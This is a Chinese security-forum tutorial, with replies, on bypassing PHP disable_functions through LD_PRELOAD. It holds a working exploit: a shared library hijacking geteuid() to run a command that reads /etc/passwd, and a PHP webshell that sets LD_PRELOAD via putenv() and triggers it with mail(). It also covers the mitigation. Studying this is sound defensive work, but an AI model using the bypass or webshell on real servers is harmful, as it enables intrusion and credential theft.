首页
社区
课程
招聘
[原创]浅谈Bypass disable_function
发表于: 2019-10-31 17:38 1088

[原创]浅谈Bypass disable_function

2019-10-31 17:38
1088

0x01 disable_functions

disable_functions是在/etc/php/7.0/apache2/php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。我们查看phpinfo的时候,会发现有这么一栏:

要更改的话打开php.ini,找到对应的行修改即可,这里修改如下:
修改文件php.ini,重启apache服务,在phpinfo中可以看到已经生效先来看看哪些函数需要放入 disable_functions:
  • passthru()
    功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
    危险等级:高

  • ######exec()
    功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
    危险等级:高

  • ######system()
    功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。    危险等级:高
  • ######chroot()
    功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式PHP 时才能工作,且该函数不适用于 Windows 系统。
    危险等级:高

  • ######chgrp()
    功能描述:改变文件或目录所属的用户组。
    危险等级:高

  • ######chown()
    功能描述:改变文件或目录的所有者。
    危险等级:高

  • ######shell_exec()
    功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。    危险等级:高
  • ######proc_open()
    功能描述:执行一个命令并打开文件指针用于读取以及写入。
    危险等级:高

  • proc_get_status()
    功能描述:获取使用 proc_open() 所打开进程的信息。
    危险等级:高

  • ini_alter()
    功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。具体参见 ini_set()。
    危险等级:高

  • ini_set()
    功能描述:可用于修改、设置 PHP 环境配置参数。
    危险等级:高

  • ini_restore()
    功能描述:可用于恢复 PHP 环境配置参数到其初始值。
    危险等级:高
  • dl()
    功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
    危险等级:高

  • pfsockopen()
    功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
    危险等级:高

  • symlink()
    功能描述:在 UNIX 系统中建立一个符号链接。
    危险等级:高

  • popen()
    功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
    危险等级:高

  • putenv()
    功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
    危险等级:高

  • phpinfo()
    功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
    危险等级:中

  • scandir()
    功能描述:列出指定路径中的文件和目录。
    危险等级:中

  • syslog()
    功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
    危险等级:中

  • readlink()
    功能描述:返回符号连接指向的目标文件内容。
    危险等级:中

  • stream_socket_server()
    功能描述:建立一个 Internet 或 UNIX 服务器连接。
    危险等级:中

  • error_log()
    功能描述:将错误信息发送到指定位置(文件)。    安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,执行任意命令。    危险等级:低

0x02 利用LD_PRELOAD绕过

一、LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过 LD_PRELOAD 来设置它来优先加载我们自己编写的程序,实现劫持。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。简单地说,可注入自己的代码,覆盖原有代码。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

二、程序调用流程图

  1. LD_PRELOAD替换前

    2. LD_PRELOAD替换后

三、演示程序代码

    1.主程序

    // myverifypasswd.c
    #include <stdio.h>
    #include <string.h>
    #include "mystrcmp.h"
 
    void main(int argc,char **argv) {
        char passwd[] = "password";
        if (argc < 2) {
            printf("usage: %s <password>\n",argv[0]);
            return;
        }
        if (!mystrcmp(passwd,argv[1])) {
            printf("Correct Password!\n");
            return;
        }
        printf("Invalid Password!\n");
    }

     2.调用库      
	#include <stdio.h>
	int mystrcmp(const char *s1,const char *s2);

    3.生成动态链接库原始C文件
        // mystrcmp.c
	#include <stdio.h>
	#include <string.h>
	#include "mystrcmp.h"

	int mystrcmp(const char *s1,const char *s2)
	{
		return strcmp(s1,s2);
	}

四、程序编译与试验


演示流程图


编译、设置

gcc mystrcmp.c -fPIC -shared -o libmystrcmp.so      
gcc myverifypasswd.c -L. -lmystrcmp -o myverifypasswd      
export LD_LIBRARY_PATH=/home/n6/桌面/LD_PRELOAD      #指定动态链接库所在目录位置
ldd myverifypasswd      #显示、确认依赖关系
./myverifypasswd      

五、替换库代码  


	// myhack.c
	#include <stdio.h>
	#include <string.h>
 
	int mystrcmp(const char *s1, const char *s2)
	{
    	printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);
    	// always return 0, which means s1 equals to s2--总是相等
    	return 0;
	}

六、替换并测试运行


替换流程图

七、实际应用测试


以 sendmail 为例:(没有 sendmail 的话需要安装)使用 readelf -Ws /usr/sbin/sendmail 来看 sendmail 函数都调用了哪些库函数:


从中选取一个合适的库函数进行测试  

编制我们自己的动态链接程序
通过 putenv 来设置 LD_PRELOAD,让我们的程序优先被调用
在 webshell 上用 mail 函数发送一封邮件来触发

我们来测试 执行系统命令,选取 geteuid()函数来改造:

    //hack.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    void payload() {
            system("cat /etc/passwd > list.txt");
    }   
    int  geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
    }

当这个共享库中的 geteuid 被调用时,尝试加载 payload() 函数,执行命令。
在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是 32 位一个是 64 位)把它编译为一个位置信息无关的动态共享库,然后把hack.so上传到服务器,再写入webshell:

    //webshell.php
    <?php
    putenv("LD_PRELOAD=/var/www/html/hack.so");
    mail("H4ck3R.XiX","","","","");
	$file_path = "list.txt";
	if(file_exists($file_path)){
		$file_arr = file($file_path);
		for($i=0;$i<count($file_arr);$i++){
			//逐行读取文件内容
			echo $file_arr[$i]."<br />";
			fclose($file_arr);
		}
	}
    ?>

结果图:

这种绕过行为实施起来很简单,并且不受PHP与Linux版本的限制,但是也很容易防御,只要禁用相关的函数(putenv)或者限制对环境变量的传递就可以了,但是要注意对现有业务是否造成影响。其实对于这个问题,早在08年就有人向PHP官方反馈过,只不过PHP给出的回复是你最好禁用putenv函数: https://bugs.php.net/bug.php?id=46741 ,所以我们有理由相信在后续的PHP版本中也不会对这个问题有什么针对性的解决方案。


ps: 在下技术有限,对于实际rz中,每次都要在C文件中写入要执行的系统命令,再编译上传属实麻烦,等小弟学好python回来写脚本给各位看官分享。欢迎大佬们点评分享更好的思路,Bypass我会继续研究下去的,

[课程]Android-CTF解题方法汇总!

收藏
免费 2
支持
分享
最新回复 (5)
雪    币: 3083
活跃值: (52)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
补充一下http://www.rai4over.cn/2019/03/29/0CTF-2019-Wallbreaker-Easy-WriteUp/
2019-11-1 09:59
0
雪    币: 5372
活跃值: (140)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
Rai4over 补充一下http://www.rai4over.cn/2019/03/29/0CTF-2019-Wallbreaker-Easy-WriteUp/
Dear Dalao, please daidai wo
2019-11-1 10:18
0
雪    币: 7169
活跃值: (3608)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
github上面的bypass disable_function,基本都是需要putenv,putenv+那些执行命令的函数都disable后,再执行命令就难了
2019-11-5 21:47
0
雪    币: 5372
活跃值: (140)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
残废小菜比 github上面的bypass disable_function,基本都是需要putenv,putenv+那些执行命令的函数都disable后,再执行命令就难了
GitHub上原理分析到位了?也有不用putenv,利用_attribute_属性,等我之后的相关系列文章
2019-11-7 16:01
0
雪    币: 21449
活跃值: (62273)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
6
666,感谢分享!期待相关系列文章!
2019-11-7 16:19
0
游客
登录 | 注册 方可回帖
返回
//